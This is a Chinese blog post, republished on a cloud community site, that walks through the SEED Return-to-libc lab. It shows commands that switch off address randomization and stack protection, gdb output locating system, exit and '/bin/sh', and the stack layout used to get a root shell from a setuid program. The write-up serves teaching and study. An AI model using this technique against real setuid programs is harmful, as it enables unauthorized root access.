Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Return-to-libc

Return-to-libc

作者头像
De4dCr0w
发布于 2019-02-27 06:08:21
发布于 2019-02-27 06:08:21
1.7K00
代码可运行
举报
运行总次数:0
代码可运行

实验步骤

(1)初始化:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ su root  
Password: (enter root password)  
# /sbin/sysctl -w kernel.randomize_va_space=0  
(关闭地址随机化)  

(2)编写exploit.c 文件,溢出程序的编写:(如下图)

(3)编译exploit.c文件,生成exploit文件,执行exploit,生成badfile文件

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ gcc -o exploit exploit.c
$./exploit
// create the badfile  

(4)编译stack.c文件

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ su root
Password (enter root password)
# gcc -o retlib -z execstack -fno-stack-protector -g retlib.c
# chmod 4755 stack
# exit
-z execstack : 使填写在栈内的内容能过执行
-fno-stack-protector : 关闭栈溢出保护,使栈可以被溢出
-g : 可调试编译,使程序能够被调试  

(5)执行retlib,获得root权限

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$./retlib
// launch the attack by running the vulnerable program
# <---- Bingo! You’ve got a root shell!

实验过程

(1)寻找system,exit,“/bin/sh”的地址

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
gdb retlib

(gdb) b main
Breakpoint 1 at 0x80484bc: file retlib.c, line 20.
(gdb) r
Starting program: /home/seed/Lesson1/retlib 

Breakpoint 1, main (argc=1, argv=0xbffff414) at retlib.c:20
20	    badfile = fopen("badfile", "r");
(gdb) p system     (寻找调用system的地址)
$1 = {<text variable, no debug info>} 0xb7e5f430 <system>
(gdb) find system,+9999999,"/bin/sh"  (寻找“/bin/sh”字符串的地址)
0xb7f80fb8
warning: Unable to access target memory at 0xb7fc74c0, halting search.
1 pattern found.
(gdb) p exit    (寻找调用exit的地址)
$2 = {<text variable, no debug info>} 0xb7e52fb0 <exit>
(gdb) p setuid  (寻找调用setuid的地址)
$3 = {<text variable, no debug info>} 0xb7ed8e40 <setuid>
(gdb) 

(2)找到bof函数的返回地址,反汇编bof函数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
(gdb) disassemble bof
Dump of assembler code for function bof:
0x08048484 <+0>:	push   %ebp
0x08048485 <+1>:	mov    %esp,%ebp
   	0x08048487 <+3>:	sub    $0x28,%esp
  	0x0804848a <+6>:	lea    -0x14(%ebp),%eax
 	0x0804848d <+9>:	mov    0x8(%ebp),%edx
   	0x08048490 <+12>:	mov    %edx,0xc(%esp)
   	0x08048494 <+16>:	movl   $0x28,0x8(%esp)
   	0x0804849c <+24>:	movl   $0x1,0x4(%esp)
   	0x080484a4 <+32>:	mov    %eax,(%esp)
   	0x080484a7 <+35>:	call   0x8048380 <fread@plt>
   	0x080484ac <+40>:	mov    $0x1,%eax
   	0x080484b1 <+45>:	leave  
   	0x080484b2 <+46>:	ret    
End of assembler dump.

  这里eax(-0x14(%ebp))存的是buffer[0]的地址,且0x14 = 20,说明ebp和buffer[0]的地址相差20个字节,所以跳转地址就应该填在buffer[24]~buffer[27]的位置,所以只要把system的调用地址填在这,就可以跳转去执行system函数了,然后依次去执行exit函数(buffer[28]~buffer[31])

这里”/bin/sh” 为什么放在 exit 函数后面?

解答:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
0x080484b1 <+45>: leave  

相当于语句:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pop %ebp
mov %ebp, %esp

然后执行:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
0x080484b2 <+46>: ret 
This instruction simply pops the return address out of the stack, 
and then jump to the return address. 

leave 指令 pop ebp后栈内 esp 指向 return address,ret 指令跳转到 system(),执行system函数时,先push函数参数再执行call,而call的时候会将返回地址push到栈上,所以我们在构建栈帧的时候,system函数的地址与参数的地址之间需要填充一个虚构的返回函数,这里我们填充exit函数地址。

(图为网上一道pwn题的思路,可以帮助理解,和本实验的地址不一样)

我们可以利用Return-to-libc的方法构建栈帧绕过NX选项:   NX即No-eXecute(不可执行)的意思,NX选项会将进程特殊区域的内存标记为不可执行,当CPU跳转到这些区域执行代码的时候便会产生异常,以阻止缓冲区溢出时直接在栈上执行恶意代码。   gcc编译器默认开启了NX选项,如果需要关闭NX选项,可以给gcc编译器添加-z execstack参数。在Windows下,类似的概念为DEP(Data Execution Prevention,数据执行保护),在最新版的Visual Studio中默认开启了DEP编译选项

我们可以使用checksec.sh脚本可以方便的查看可执行程序是否启用了NX,checksec脚本的下载地址为:http://www.trapkit.de/tools/checksec.sh

实验地址:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Return_to_libc/

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
SEED缓冲区溢出实验笔记
缓冲区溢出实验(Linux 32位) 参考教程与材料:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/  (本文记录了做SEED缓冲区溢出实验的体会与问题,侧重实践,而不是讲解缓冲区溢出原理的详细教程) 1. 准备工作 使用SEED ubuntu虚拟机进行缓冲区溢出实验,首先要关闭一些针对此攻击的防御机制来简化实验。 (1)内存地址随机化(Address Space Randomization):基于Linux的操作
ascii0x03
2018/04/12
2.1K0
SEED缓冲区溢出实验笔记
SEED:缓冲区溢出漏洞实验
前言:本文是基于美国雪城大学的seed实验所做的缓冲区溢出实验,笔者在进行实验的时候参考了网上已有的部分博客,但是发现存在部分细节没有详细解释,导致实验过程中难以复现上述攻击。因此重新梳理了整个实验过程,涉及原理的内容不再赘述,详见下面链接中提供的实验说明,希望对各位读者起到一定帮助。
FB客服
2019/12/23
1.5K0
SEED:缓冲区溢出漏洞实验
栈溢出漏洞的利用和缓解
一直有人说这个时代做渗透太难了, 各个平台都开始重视安全性, 不像十几年前, 随便有个栈溢出就能轻松利用. 现在的环境对于新手而言确实不算友好, 上来就需要 面临着各种边界保护, 堆栈保护, 地址布局
evilpan
2023/02/12
1.3K0
缓冲区溢出 攻击 「建议收藏」
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写
全栈程序员站长
2022/09/07
1.3K0
缓冲区溢出 攻击 「建议收藏」
雪城大学信息安全讲义 4.3~4.4
地址空间随机化(ASLR):猜测恶意代码的地址空间是一个缓冲区溢出的关键步骤。如果我们可以使恶意代码的地址难以预测,攻击就能变得更困难。多种 Linux 发行版都已经使用了 ASLR 来随机化堆和栈的起始地址。这使得猜测准确地址变得困难。下面的命令(只能由 Root 运行)开启或禁用 ASLR:
ApacheCN_飞龙
2022/12/01
5720
《coredump问题原理探究》Linux x86版3.5节栈布局之-fomit-frame-pointer编译选项
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/xuzhina/article/details/8526140
血狼debugeeker
2018/09/20
7120
C++中的return和exit区别
在main函数中,return和exit经常混用,两者的一个区别:return会执行statck unwinding,而exit不会。如果触发了信号,exit也同样不会做stack unwinding,除此之外异常如果没有相应的catch,也同样不会有栈展开(stack unwinding)。
一见
2019/03/14
9420
缓冲区溢出攻击原理分析
《缓冲区溢出攻击实践》以实践者角度介绍了初级缓冲区溢出攻击方法,本文从原理上对该方法做原理性介绍。
全栈程序员站长
2022/09/14
1.3K0
缓冲区溢出攻击原理分析
Linux (x86) Exploit 开发系列教程之八 绕过 ASLR -- 第三部分
在这篇文章中,让我们看看如何使用 GOT 覆盖和解引用技巧。来绕过共享库地址随机化。我们在第一部分中提到过,即使可执行文件没有所需的 PLT 桩代码,攻击者也可以使用 GOT 覆盖和解引用技巧来绕过 ASLR。
ApacheCN_飞龙
2022/12/01
1.9K0
Linux (x86) Exploit 开发系列教程之八 绕过 ASLR -- 第三部分
学pwn 经典堆栈的缓冲区溢出
$gcc -g -Wall hello.c -o hello $g++ -g -Wall hello.cpp -o hello
用户5878089
2019/07/25
9230
[PWN][基础篇]保护函数和溢出实例
栈溢出保护是一种缓冲区溢攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行,当启动栈保护后,函数开始执行的时候会显往栈里插入cookie的信息,当函数真正返回的时候会验证cookie信息是否合法,如何不合法就停止程序运行。攻击者在覆盖返回地址的时候往往会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中的cookie信息成为canary。
李鹏华
2024/03/12
3730
[PWN][基础篇]保护函数和溢出实例
二进制学习
C 语言的奇技淫巧 https://jin-yang.github.io/post/program-c-tips.html
wywwzjj
2023/05/09
1.2K0
二进制学习
【揭秘】为什么switch...case比if...else执行效率高
switch...case会生成一个跳转表来指示实际的case分支的地址,而这个跳转表的索引号与switch变量的值是相等的。从而,switch...case不用像if...else那样遍历条件分支直到命中条件,而只需访问对应索引号的表项从而到达定位分支的目的。
李肖遥
2020/06/24
4.4K0
nox&amp;CSAW部分pwn题解
暑假的时候遇到了一群一起学习安全的小伙伴,在他们的诱劝下,开始接触国外的CTF比赛,作为最菜的pwn选手就试着先打两场比赛试试水,结果发现国外比赛真有意思哎嘿。
安恒网络空间安全讲武堂
2018/10/25
1K0
PWN从入门到放弃(12)——栈溢出之栈迁移
通过将ebp覆盖成我们构造的fake_ebp ,然后利用leave_ret这个gadget将esp劫持到fake_ebp的地址上。
山深有杏
2024/01/30
8340
PWN从入门到放弃(12)——栈溢出之栈迁移
利用软件的漏洞进行攻击
本篇继续阅读学习《有趣的二进制:软件安全与逆向分析》,本章是利用软件的漏洞进行攻击,简单介绍了缓冲区溢出漏洞的原理和示例,然后给出了一些防御措施,最后介绍了对防御机制的绕过方法
中龙技术
2022/09/29
1K0
利用软件的漏洞进行攻击
SEED缓冲区溢出实验笔记——Return_to_libc
参考:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Return_to_libc/      http://drops.wooyun.org/tips/6597      Bypassing non-executable-stack during exploitation using return-to-libc by c0ntex | c0ntex[at]gmail.com      ROP轻松谈      《程序员的自我修养》(虽然我没看完,
ascii0x03
2018/04/12
1.1K0
SEED缓冲区溢出实验笔记——Return_to_libc
Linux64位程序中的漏洞利用
之前在栈溢出漏洞的利用和缓解中介绍了栈溢出漏洞和一些常见的漏洞缓解 技术的原理和绕过方法, 不过当时主要针对32位程序(ELF32). 秉承着能用就不改的态度, IPv4还依然是互联网的主导, 更何况应用程序. 所以理解32位环境也是有必要的. 不过, 现在毕竟已经是2018年了, 64位程序也逐渐成为主流, 尤其是在Linux环境中. 因此本篇就来说说64位下的利用与32位下的利用和缓解绕过方法有何异同.
evilpan
2023/02/12
1.4K0
手撕编译原理:汇编语言不会编
NASM Installation of NASM wget -c http://www.nasm.us/pub/nasm/releasebuilds/2.14.02/nasm-2.14.02.tar.xz tar -xf nasm-2.14.02.tar.xz cd nasm-2.14.02 ls ./configure --prefix=/usr && make sudo make install version $ nasm -v NASM version 2.14.02 compiled on Ju
iOSDevLog
2020/06/03
9680
缓冲区溢出攻击初学者手册(更新版)
说明 之前版本翻译质量不佳,本人赵阳在这里对本文的读者表示深深的歉意。由于本人的疏忽和大意导致您不能很好的读完这篇文章,同时也对原文内容进行了破坏,也对IDF和FreeBuf造成了一定的不良影响。我在这里对大家进行道歉!对翻译文章进行了即时的修改,同时感谢大家的评语!我会吸取此次教训,保证以后不会在出现类似的事情!请大家原谅!谢谢! 以下为正文 缓冲区溢出会出现在和用户输入相关缓冲区内,在一般情况下,这已经变成了现代计算机和网络方面最大的安全隐患之一。这是因为在程序的基础上很容易出现这种问题,但是这对于不了
FB客服
2018/02/02
1.5K0
相关推荐
SEED缓冲区溢出实验笔记
更多 >
加入讨论
的问答专区 >
职务职务职务职务职务职务擅长3个领域
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
    本文部分代码块支持一键运行,欢迎体验
    本文部分代码块支持一键运行,欢迎体验